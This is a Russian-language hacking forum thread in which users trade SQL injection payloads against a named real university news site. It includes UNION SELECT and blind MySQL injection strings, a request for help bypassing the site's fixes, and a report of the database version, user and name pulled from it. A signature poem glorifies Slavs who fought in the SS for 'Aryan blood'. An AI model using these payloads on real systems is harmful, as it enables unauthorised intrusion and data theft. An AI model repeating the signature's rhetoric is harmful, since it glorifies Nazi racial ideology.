ну так в чем проблема то? в отключенных я не вижу фун-ии eval

__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.

http://www.umoncton.ca/nouvelles/info.php?id=8297-2

http://www.umoncton.ca/nouvelles/info.php?id=8297+union+select+1,2,3,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37,38,39

Здесь была классическая sql-inj , но некоторое время назад произошли какие-то изменения и скуля не работает как раньше. Не могу въехать что конкретно за изменения произошли. Кто может разобраться в чем дело? Ну и конечно как это дело обойти?

Собственно нид хелп...

Кручу один сайтец.

Собственно там mysql blind

Вот такими запросами вытащил имя базы/имя юзверя.

3183' /*!30000and ascii(substring((database()),7,1))=97 and*/ 'x'='x

А теперь вопрос:

3183' /*!30000and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))

to RuDefc0n

[CODE]
length(select schema_name from information_schema.schemata limit 0,1)

[QUOTE="cat1vo"]
to
RuDefc0n
[CODE]
length(select schema_name from information_schema.schemata limit 0,1)

to Dr.Strangelove

Все отлично работает -

Version: 5.5.20

User: php_read@

Database: nouvelles

[QUOTE="RuDefc0n"]
Собственно нид хелп...
Кручу один сайтец.
Собственно там mysql blind
Вот такими запросами вытащил имя базы/имя юзверя.
3183' /*!30000and ascii(substring((database()),7,1))=97 and*/ 'x'='x
А теперь вопрос:
3183' /*!30000and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))

to Га-Ноцри

Там версия 5.0.92, только вот у пользователя нет доступа к information_schema, в этом то вся и загвоздка была!

Ясно Ну я так, на всякий случай спросил Просто иногда бывает тяжело искать темную кошку в темной комнате, особенно если ее там нет